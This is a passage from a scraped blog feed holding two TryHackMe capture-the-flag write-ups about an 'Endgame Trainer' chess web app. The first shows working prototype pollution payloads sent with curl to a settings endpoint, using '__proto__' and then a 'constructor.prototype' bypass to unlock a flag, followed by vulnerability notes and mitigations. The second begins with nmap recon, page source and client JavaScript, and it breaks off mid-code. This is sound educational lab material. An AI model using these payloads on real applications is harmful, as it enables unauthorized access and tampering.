&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"preferences"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"theme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"forest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"pieceSet"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"classic"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"animationMs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The response only ever echoes back the three known preference fields, so a plain &lt;code&gt;unlocked&lt;/code&gt; key in the body is either ignored outright or stored somewhere that isn't &lt;code&gt;session.config&lt;/code&gt;. Either way it's not reflected, so time to see whether the merge itself can be abused instead of just its whitelist.&lt;/p&gt;

&lt;h3&gt;
  
  
  First prototype pollution attempt - &lt;code&gt;__proto__&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/settings &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"theme":"forest","__proto__":{"unlocked":true}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"preferences"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"theme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"forest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"pieceSet"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"classic"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"animationMs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Reset the board and re-tried the mate to check if that pollution stuck:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/reset
curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/move &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"from":"a1","to":"a8"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"ongoing"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"w"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"move"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"a1a8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"checkmate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"winner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"white"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"locked"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Checkmate! No reward for you."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"reward gate closed: session.config.unlocked is not set"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Still locked. &lt;code&gt;__proto__&lt;/code&gt; as a literal JSON key is a well-known prototype pollution vector, but it's also well-known enough that a lot of merge utilities (or &lt;code&gt;JSON.parse&lt;/code&gt; + certain frameworks) special-case and strip it. That's most likely what happened here - the key was filtered out before the merge ever saw it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Second attempt - &lt;code&gt;constructor.prototype&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;__proto__&lt;/code&gt; isn't the only way to reach an object's prototype. &lt;code&gt;constructor.prototype&lt;/code&gt; points at the same place and is filtered far less often, since it looks like an ordinary nested object to naive sanitization:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/settings &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"theme":"forest","constructor":{"prototype":{"unlocked":true}}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"preferences"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"theme"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"forest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"pieceSet"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"classic"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"animationMs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Same generic-looking response as always - the endpoint never confirms pollution either way. Reset and replayed the mate one more time to check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/reset
curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://machine-ip:3000/api/move &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"from":"a1","to":"a8"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"ongoing"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"w"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"move"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"a1a8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fen"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"checkmate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"turn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"winner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"white"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;That's it - no more &lt;code&gt;locked&lt;/code&gt;, no more taunting message, just the flag straight in the response. The &lt;code&gt;constructor.prototype.unlocked&lt;/code&gt; payload polluted the global &lt;code&gt;Object.prototype&lt;/code&gt; with &lt;code&gt;unlocked: true&lt;/code&gt;. From that point on, any object in the app - including the session's &lt;code&gt;config&lt;/code&gt; object - that doesn't have its own &lt;code&gt;unlocked&lt;/code&gt; property falls back through the prototype chain and finds the polluted one, so &lt;code&gt;session.config.unlocked&lt;/code&gt; reads as &lt;code&gt;true&lt;/code&gt; everywhere, satisfying the reward gate on the very next checkmate.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key vulnerabilities
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Prototype pollution via unsanitized object merge in &lt;code&gt;/api/settings&lt;/code&gt;.&lt;/strong&gt; The settings endpoint merges the client-supplied JSON body into session-side state (likely via something like &lt;code&gt;Object.assign&lt;/code&gt;, a recursive merge helper, or a naive deep-merge library) without rejecting dangerous key paths. It filtered the well-known &lt;code&gt;__proto__&lt;/code&gt; key but missed the equivalent &lt;code&gt;constructor.prototype&lt;/code&gt; gadget, allowing arbitrary properties to be written onto the global &lt;code&gt;Object.prototype&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security decision (&lt;code&gt;unlocked&lt;/code&gt;) implemented as a prototype-chain-readable flag.&lt;/strong&gt; Because the reward gate is just &lt;code&gt;session.config.unlocked&lt;/code&gt; with no check for whether that property is the object's &lt;em&gt;own&lt;/em&gt; property (e.g. no &lt;code&gt;Object.hasOwn&lt;/code&gt; / &lt;code&gt;hasOwnProperty&lt;/code&gt; check), polluting &lt;code&gt;Object.prototype&lt;/code&gt; was enough to flip the flag for every session on the app, not just the attacker's own state.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Nmap finds the same Endgame Trainer Express app, now on port 3000.&lt;/li&gt;
&lt;li&gt;The client-side "block the winning move" logic from the original box has been removed - checking &lt;code&gt;/js/app.js&lt;/code&gt; confirms &lt;code&gt;doMove()&lt;/code&gt; submits any legal move unconditionally.&lt;/li&gt;
&lt;li&gt;Replaying the previous exploit (&lt;code&gt;POST /api/move&lt;/code&gt; with the mate-in-one directly) now succeeds as a legal chess move but is refused by a new server-side reward gate: &lt;code&gt;session.config.unlocked is not set&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The newly-added &lt;code&gt;/api/settings&lt;/code&gt; endpoint merges client-supplied JSON into session state. A &lt;code&gt;__proto__&lt;/code&gt;-based pollution attempt is filtered, but pivoting to the &lt;code&gt;constructor.prototype.unlocked&lt;/code&gt; gadget gets through undetected.&lt;/li&gt;
&lt;li&gt;That pollutes the global &lt;code&gt;Object.prototype&lt;/code&gt; with &lt;code&gt;unlocked: true&lt;/code&gt;, which the reward-gate check inherits through the prototype chain.&lt;/li&gt;
&lt;li&gt;Resetting the board and replaying the exact same mate-in-one move (&lt;code&gt;a1&lt;/code&gt; to &lt;code&gt;a8&lt;/code&gt;) now passes the gate and returns the flag.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Sanitize &lt;em&gt;all&lt;/em&gt; dangerous key names before any recursive merge or &lt;code&gt;Object.assign&lt;/code&gt;-style operation on user-controlled input - at minimum block &lt;code&gt;__proto__&lt;/code&gt;, &lt;code&gt;constructor&lt;/code&gt;, and &lt;code&gt;prototype&lt;/code&gt; at every level of the object, not just the top level or the most obvious name.&lt;/li&gt;
&lt;li&gt;Prefer safe merge utilities that use &lt;code&gt;Object.create(null)&lt;/code&gt; for intermediate objects, or that explicitly copy only an allow-listed set of keys, instead of hand-rolled recursive merges.&lt;/li&gt;
&lt;li&gt;Never gate a security-relevant decision on a property that can be satisfied via the prototype chain. Use &lt;code&gt;Object.hasOwn(session.config, 'unlocked')&lt;/code&gt; (or equivalent) so an inherited/polluted property can't silently satisfy the check.&lt;/li&gt;
&lt;li&gt;Consider freezing sensitive objects/prototypes (&lt;code&gt;Object.freeze(Object.prototype)&lt;/code&gt;) at app startup as defense-in-depth against this exact class of bug.&lt;/li&gt;
&lt;li&gt;As with the original box, keep the actual reward/flag issuance logic entirely server-side and independent of anything the client can influence beyond the legitimate move itself.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : FoolMate Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 22 Jul 2026 10:30:44 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-foolmate-writeup-lfe</link>
      <guid>https://dev.to/exploitnotes/tryhackme-foolmate-writeup-lfe</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Endgame Trainer is a small web app that presents a "mate-in-one" chess puzzle. The board is legit (built on the &lt;code&gt;chess.js&lt;/code&gt; library), but the app has a gimmick: if you actually play the winning move, a fake system dialog pops up threatening to "shut down your PC" instead of letting you win. That block, however, only exists in the front-end JavaScript. The move itself is validated and executed by a backend API endpoint (&lt;code&gt;/api/move&lt;/code&gt;) that has no idea the UI is supposed to be stopping you. Sending the winning move (&lt;code&gt;a1a8&lt;/code&gt;, delivering checkmate) straight to the API with &lt;code&gt;curl&lt;/code&gt; skips the client-side gate entirely and the server hands back the flag in its JSON response. Along the way, a relative-path request also pulled the raw &lt;code&gt;chess.js&lt;/code&gt; source out from a directory that wasn't meant to be reachable, confirming exactly how the client-side move validation worked and that it could be bypassed server-side.&lt;/p&gt;

&lt;p&gt;Box IP referred to below as &lt;code&gt;machine-ip&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Nmap
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nmap output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-21 11:56 -0400
Nmap scan report for machine-ip
Host is up (0.038s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;| ssh-hostkey: 
|   256 a8:1e:0e:a0:5f:74:77:25:d5:0f:11:98:56:9e:b0:ed (ECDSA)
|_  256 dd:84:d1:e8:ee:c2:69:30:cb:0c:1a:43:58:d4:45:d1 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: "Endgame Trainer"
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 3 hops
&lt;/span&gt;&lt;span class="gp"&gt;Service Info: OS: Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;CPE: cpe:/o:linux:linux_kernel
&lt;span class="go"&gt;
TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   37.15 ms 192.168.128.1
2   ...
3   38.04 ms machine-ip

Nmap done: 1 IP address (1 host up) scanned in 24.49 seconds
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Two open ports: SSH (22, not the focus here) and an Express-based HTTP service on port 80 titled "Endgame Trainer."&lt;/p&gt;

&lt;h3&gt;
  
  
  Checking out the web app
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Page source&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;




  &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Endgame Trainer&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;







        &lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;♜&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;Endgame&lt;span class="nt"&gt;&amp;lt;span&amp;gt;&lt;/span&gt;Trainer&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;

      Mate-in-one · White to move










            &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"turnDot"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"statusText"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;White to move&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;



        ...







        &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"winTitle"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;/usr/lib32&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;span&amp;gt;&amp;lt;span&amp;gt;&lt;/span&gt;×&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;


        I'll shut down your PC if you play that.


        OK







&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The page is a chessboard UI starting from a mate-in-one position (&lt;code&gt;6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1&lt;/code&gt;, i.e. White rook on a1, Black king boxed in on g8). It's framed as a joke: try to deliver the actual mate and a fake "system" dialog threatens to shut down your PC instead of showing a win. That's the hint that the "you can't play that" logic is happening somewhere it shouldn't be trusted - the client.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reading the client logic
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip/js/app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key excerpt from app.js&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Chess&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../vendor/chess.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;START_FEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;preMoveCheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;probe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Chess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fen&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;probe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;move&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;probe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isCheckmate&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
